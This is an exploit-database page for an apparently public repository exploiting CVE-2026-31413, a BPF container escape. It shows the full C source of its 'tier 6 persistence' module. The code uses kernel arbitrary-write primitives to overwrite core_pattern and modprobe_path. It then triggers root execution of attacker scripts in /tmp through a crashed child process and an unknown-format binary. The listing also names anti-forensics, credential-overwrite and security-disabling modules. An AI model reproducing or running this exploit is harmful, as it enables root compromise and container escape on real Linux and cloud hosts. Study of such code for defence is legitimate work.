Exploit databaseDownload repository ZIP
GH-4dfb7376c6c18a050be1603b3f20d96f
rat5ak/cve-2026-31413-bpf-container-escape
Sources for CVE-2026-31413
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files19
rat5ak/cve-2026-31413-bpf-container-escapeRevision 9c8fc1db7b9c
- ↑..Parent directory
- exploit.c
- exploit_common.h
- exploit_ctf.c
- exploit_gke.c
- exploit_gke_v2
- exploit_gke_v2.c
- exploit_or_fork.c
- exploit_or_fork2.c
- exploit_or_fork3.c
- exploit_or_fork_rw.c
- tier10_anti_forensics.c
- tier2_cred_overwrite.c
- tier3_syscall_hook.c
- tier4_security_disable.c
- tier5_cross_container.c
- tier6_persistence.c
- tier7_hardware.c
- tier8_dkom_cloak.c
- tier9_code_inject.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/tier6_persistence.c
C · 9,072 bytes/* tier6_persistence.c - Triggered kernel persistence via CVE-2026-31413
*
* Actually TRIGGERS persistence mechanisms with live proof of execution:
*
* 1. core_pattern attack:
* - Overwrite core_pattern → "|/tmp/t6_core"
* - Create trigger script that writes proof file as root
* - Fork child, crash it (SIGSEGV) → kernel runs our script
* - Read proof file: shows uid=0 → ROOT CODE EXECUTION
* - Restore core_pattern, clean up
*
* 2. modprobe_path attack:
* - Overwrite modprobe_path → "/tmp/t6_mod"
* - Create trigger script + invalid-format binary
* - Fork child, exec bad binary → kernel calls our modprobe
* - Read proof file: shows uid=0 → ROOT CODE EXECUTION
* - Restore modprobe_path, clean up
*
* Both attacks produce independent proof files showing uid=0 execution.
*/
#include "exploit_common.h"
#include <sys/wait.h>
#include <sys/prctl.h>
static void read_kstring(uint64_t addr, char *out, int maxlen)
{
for (int i = 0; i < maxlen - 8; i += 8) {
uint64_t w = arb_read64(addr + i);
memcpy(out + i, &w, 8);
for (int j = 0; j < 8; j++)
if (out[i + j] == '\0') return;
}
out[maxlen - 1] = '\0';
}
static void write_kstring(uint64_t addr, const char *str)
{
int len = strlen(str) + 1;
for (int i = 0; i < len; i += 8) {
uint64_t chunk = 0;
int n = (len - i >= 8) ? 8 : (len - i);
memcpy(&chunk, str + i, n);
arb_write_any(addr + i, chunk);
}
}
static int read_proc(const char *path, char *buf, int sz)
{
int fd = open(path, O_RDONLY);
if (fd < 0) return -1;
int n = read(fd, buf, sz - 1);
close(fd);
if (n <= 0) return -1;
buf[n] = 0;
return n;
}
static int wait_for_file(const char *path, int timeout_ms)
{
for (int i = 0; i < timeout_ms / 100; i++) {
if (access(path, F_OK) == 0) return 1;
usleep(100000);
}
return 0;
}
int main(void)
{
printf("=== Tier 6: Triggered kernel persistence via CVE-2026-31413 ===\n\n");
if (setup_primitives() < 0) return 1;
/* ══════════════════════════════════════════════════════════════════
* ATTACK 1: core_pattern → crash-triggered root code execution
* ══════════════════════════════════════════════════════════════════ */
uint64_t core_pat = ksym("core_pattern");
if (core_pat) {
printf("[*] === ATTACK 1: core_pattern ===\n\n");
/* Save original */
char orig_core[256] = {0};
read_kstring(core_pat, orig_core, sizeof(orig_core));
printf(" Original: \"%s\"\n", orig_core);
/* Create trigger script */
FILE *f = fopen("/tmp/t6_core", "w");
if (f) {
fprintf(f, "#!/bin/sh\nid > /tmp/t6_core_proof\n"
"echo \"CVE-2026-31413 core_pattern\" >> /tmp/t6_core_proof\n"
"date >> /tmp/t6_core_proof\n");
fclose(f);
chmod("/tmp/t6_core", 0755);
}
unlink("/tmp/t6_core_proof");
/* Overwrite core_pattern */
write_kstring(core_pat, "|/tmp/t6_core");
char verify[256] = {0};
read_proc("/proc/sys/kernel/core_pattern", verify, sizeof(verify));
printf(" Wrote: \"|/tmp/t6_core\"\n");
printf(" /proc verify: \"%s\" %s\n", verify,
strcmp(verify, "|/tmp/t6_core") == 0 ? "[VERIFIED]" : "[MISMATCH]");
/* Trigger: fork child, make it dumpable, crash it */
printf(" Triggering: fork + SIGSEGV...\n");
pid_t child = fork();
if (child == 0) {
prctl(PR_SET_DUMPABLE, 1);
raise(SIGSEGV);
_exit(1);
}
int status;
waitpid(child, &status, 0);
printf(" Child pid=%d terminated (signal %d)\n",
child, WIFSIGNALED(status) ? WTERMSIG(status) : 0);
/* Check for proof file */
if (wait_for_file("/tmp/t6_core_proof", 3000)) {
char proof[512] = {0};
read_proc("/tmp/t6_core_proof", proof, sizeof(proof));
printf(" PROOF (/tmp/t6_core_proof):\n");
/* Print each line indented */
char *line = strtok(proof, "\n");
while (line) {
printf(" > %s\n", line);
line = strtok(NULL, "\n");
}
printf(" *** ROOT CODE EXECUTION CONFIRMED ***\n");
} else {
printf(" [-] Proof file not created (may need suid_dumpable=1)\n");
printf(" echo 1 > /proc/sys/fs/suid_dumpable\n");
}
/* Restore */
write_kstring(core_pat, orig_core);
read_proc("/proc/sys/kernel/core_pattern", verify, sizeof(verify));
printf(" Restored: \"%s\" [OK]\n", verify);
unlink("/tmp/t6_core");
unlink("/tmp/t6_core_proof");
printf("\n");
}
/* ══════════════════════════════════════════════════════════════════
* ATTACK 2: modprobe_path → binfmt-triggered root code execution
* ══════════════════════════════════════════════════════════════════ */
uint64_t modprobe = ksym("modprobe_path");
if (modprobe) {
printf("[*] === ATTACK 2: modprobe_path ===\n\n");
/* Save original */
char orig_mod[256] = {0};
read_kstring(modprobe, orig_mod, sizeof(orig_mod));
printf(" Original: \"%s\"\n", orig_mod);
/* Create trigger script */
FILE *f = fopen("/tmp/t6_mod", "w");
if (f) {
fprintf(f, "#!/bin/sh\nid > /tmp/t6_mod_proof\n"
"echo \"CVE-2026-31413 modprobe_path\" >> /tmp/t6_mod_proof\n"
"date >> /tmp/t6_mod_proof\n");
fclose(f);
chmod("/tmp/t6_mod", 0755);
}
unlink("/tmp/t6_mod_proof");
/* Create bad-format binary (triggers binfmt → request_module → modprobe) */
f = fopen("/tmp/t6_binfmt", "w");
if (f) {
fprintf(f, "\xDE\xAD\xBE\xEF"); /* unknown magic, not ELF/script/etc */
fclose(f);
chmod("/tmp/t6_binfmt", 0755);
}
/* Overwrite modprobe_path */
write_kstring(modprobe, "/tmp/t6_mod");
char verify[256] = {0};
read_proc("/proc/sys/kernel/modprobe", verify, sizeof(verify));
printf(" Wrote: \"/tmp/t6_mod\"\n");
printf(" /proc verify: \"%s\" %s\n", verify,
strcmp(verify, "/tmp/t6_mod") == 0 ? "[VERIFIED]" : "[MISMATCH]");
/* Trigger: exec the bad-format binary in a child */
printf(" Triggering: fork + execve(bad_binfmt)...\n");
pid_t child = fork();
if (child == 0) {
execve("/tmp/t6_binfmt", (char *[]){"/tmp/t6_binfmt", NULL}, NULL);
_exit(errno); /* exec failed with ENOEXEC, but modprobe was called */
}
int status;
waitpid(child, &status, 0);
printf(" Child exited (status=%d) - kernel called modprobe_path\n",
WIFEXITED(status) ? WEXITSTATUS(status) : -1);
/* Check for proof file */
if (wait_for_file("/tmp/t6_mod_proof", 3000)) {
char proof[512] = {0};
read_proc("/tmp/t6_mod_proof", proof, sizeof(proof));
printf(" PROOF (/tmp/t6_mod_proof):\n");
char *line = strtok(proof, "\n");
while (line) {
printf(" > %s\n", line);
line = strtok(NULL, "\n");
}
printf(" *** ROOT CODE EXECUTION CONFIRMED ***\n");
} else {
printf(" [-] Proof file not created\n");
printf(" modprobe may have been invoked but script execution failed\n");
}
/* Restore */
write_kstring(modprobe, orig_mod);
read_proc("/proc/sys/kernel/modprobe", verify, sizeof(verify));
printf(" Restored: \"%s\" [OK]\n", verify);
unlink("/tmp/t6_mod");
unlink("/tmp/t6_mod_proof");
unlink("/tmp/t6_binfmt");
printf("\n");
}
/* ── Summary ── */
printf("[+] Persistence attack chain demonstrated:\n"
" - core_pattern: crash → root code execution (live triggered)\n"
" - modprobe_path: binfmt → root code execution (live triggered)\n"
" - Both verified via independent proof files showing uid=0\n"
" - Both kernel strings restored to original values\n"
" - Temp files cleaned up\n");
return 0;
}